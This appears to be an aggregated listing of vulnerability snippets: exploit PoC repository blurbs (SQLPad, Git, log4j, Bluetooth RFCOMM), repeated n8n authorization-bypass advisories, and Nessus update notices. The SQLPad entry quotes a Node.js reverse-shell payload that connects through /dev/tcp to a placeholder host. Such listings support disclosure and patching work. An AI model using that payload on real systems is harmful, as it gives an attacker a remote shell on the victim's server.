CVE-2022-0944

CVE-2022-0944 PoC SQLPad에서 RCE를 위한 PoC입니다. 이 예제는 리버스 셸을 생성하지만, 페이로드 내 'exec' 호출의 명령을 변경하여 사용 가능한 모든 명령을 실행하도록 페이로드를 수정할 수 있습니다. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 요구 사항 Python 3 사용법 1. 리스너 시작...

CVE-2017-12542

CVE-2017-12542 CVE-2017-12542 테스트 및 익스플로잇...

Fix-CVE-2017-1000117

Gitの脆弱性 CVE-2017-1000117 を確認し、gitのバージョンアップを試みるためのテストリポジトリです。 $ git clone --recursive https://github.com/shogo82148/Fix-CVE-2017-1000117.git このリポジトリは、https://github.com/greymd/CVE-2017-1000117 に着想を得ています。 ご自身のgitが安全であることを確認するには、--recursive オプションを付けてクローンしてください。...

CVE-2017-1000117_wasawasa

Test repository to check Git's vulnerability CVE-2017-1000117 어떻게 작동하나요? 이 저장소를 재귀적으로 클론하세요. $ git clone --recursive https://github.com/sasairc/CVE-2017-1000117wasawasa.git 원본 greymd/CVE-2017-1000117...

CVE-2025-13834-A-Bluetooth-RFCOMM-Out-of-Bounds-Read-Vulnerability-in-Modern-Wireless-Devices

= doi.org/10.5281/zenodo.18323302 = orcid.org/0009-0007-7728-256X README.md: CVE-2025-13834 RFCOMM Bluetooth「Heartbleed」エクスプロイテーションフレームワーク 著者: Sastra Adi Wiguna Purple Elite Teaming 日付: 2026年1月20日 バージョン: 1.0（完全なシステム再現） ライセンス: レッドチーム専用 （許可なく配布禁止） 🔴 エグゼクティブサマリー CVE-2025-13834 は、RFCOMM...

vuln_spring_log4j2

vulnspringlog4j2 log4j2 CVE-2021-44228 のテスト用の脆弱な Spring アプリケーション Java バージョン: 1.8 Spring Boot バージョン: 2.4.0 Spring Core バージョン: 5.3.1 Log4j バージョン: 2.13.3 Burp ログ...

CVE-2026-103252

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...

Malwarebytes earns another Top Product award in independent testing

Every few months, Malwarebytes gets a chance to test its mettle against real-world threats in an independent laboratory setting. And the latest round of results gives us plenty to celebrate. Malwarebytes earned a perfect 18 out of 18 and received another Top Product award from AV-TEST. We also...

CVE-2026-103252 n8n before 1.123.80, 2.39.6, and 2.40.1 Information Disclosure via Credential Test Endpoint

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...

CVE-2026-103252 n8n before 1.123.80, 2.39.6, and 2.40.1 Information Disclosure via Credential Test Endpoint

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...

CVE-2026-103252

Versions of n8n prior to 1.123.80, 2.39.6, and 2.40.1 are vulnerable to an authorization bypass in the credential test endpoint . The root cause is the resolution of project-scoped variables without validating caller access. An attacker can provide an arbitrary project ID in the request body to i...

EUVD-2026-90646

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...

CVE-2026-103252 n8n before 1.123.80, 2.39.6, and 2.40.1 Information Disclosure via Credential Test Endpoint

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...

rails-cve-2012-5664-test

Rails CVE-2012-5664 脆弱性デモ このデモアプリケーションは、Rails CVE-2013-5664 の脆弱性がどのように機能するかを示しています。詳細情報: http://blog.phusion.nl/2013/01/03/rails-sql-injection-vulnerability-hold-your-horses-here-are-the-facts...

CentOS Linux 7.9 [CIQ] Security Update: python / python-debug / python-devel / python-libs / python-test / etc Multiple Vulnerabilities (ciqsa-2026_1201)

The CentOS Linux 7.9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ ciqsa-20261201 advisory. This advisory aggregates security fixes for the python SRPM in CIQ CentOS Bridge 7.9. It addresses 3 CVEs: CVE-2024-6232, CVE-2022-48560,...

Rocky Linux 9 [CIQ] Security Update: ansible-core / ansible-test (crlsa-2026_57149)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202657149 advisory. ansible-core: argument injection in ansible-galaxy role install leads to arbitrary code execution CVE-2026-11332 Tenable has extracted the preceding description...

Rocky Linux 8 [CIQ] Security Update: ansible-core / ansible-test (crlsa-2026_66248)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202666248 advisory. ansible-core: argument injection in ansible-galaxy role install leads to arbitrary code execution CVE-2026-11332 Tenable has extracted the preceding description...

CentOS Linux 7 [TuxCare] Security Update: python / python-debug / python-devel / python-libs / python-test / etc (CENTOS7:CLSA-2025:1763054281)

The CentOS Linux 7 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2025:1763054281 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL 80900...

CVE-2026-103252: Authorization Bypass Through User-Controlled Key

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...

CentOS Linux 6 [TuxCare] Security Update: python / python-devel / python-libs / python-test / python-tools / etc (CENTOS6:CLSA-2026:1777586657)

The CentOS Linux 6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS6:CLSA-2026:1777586657 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL 80900...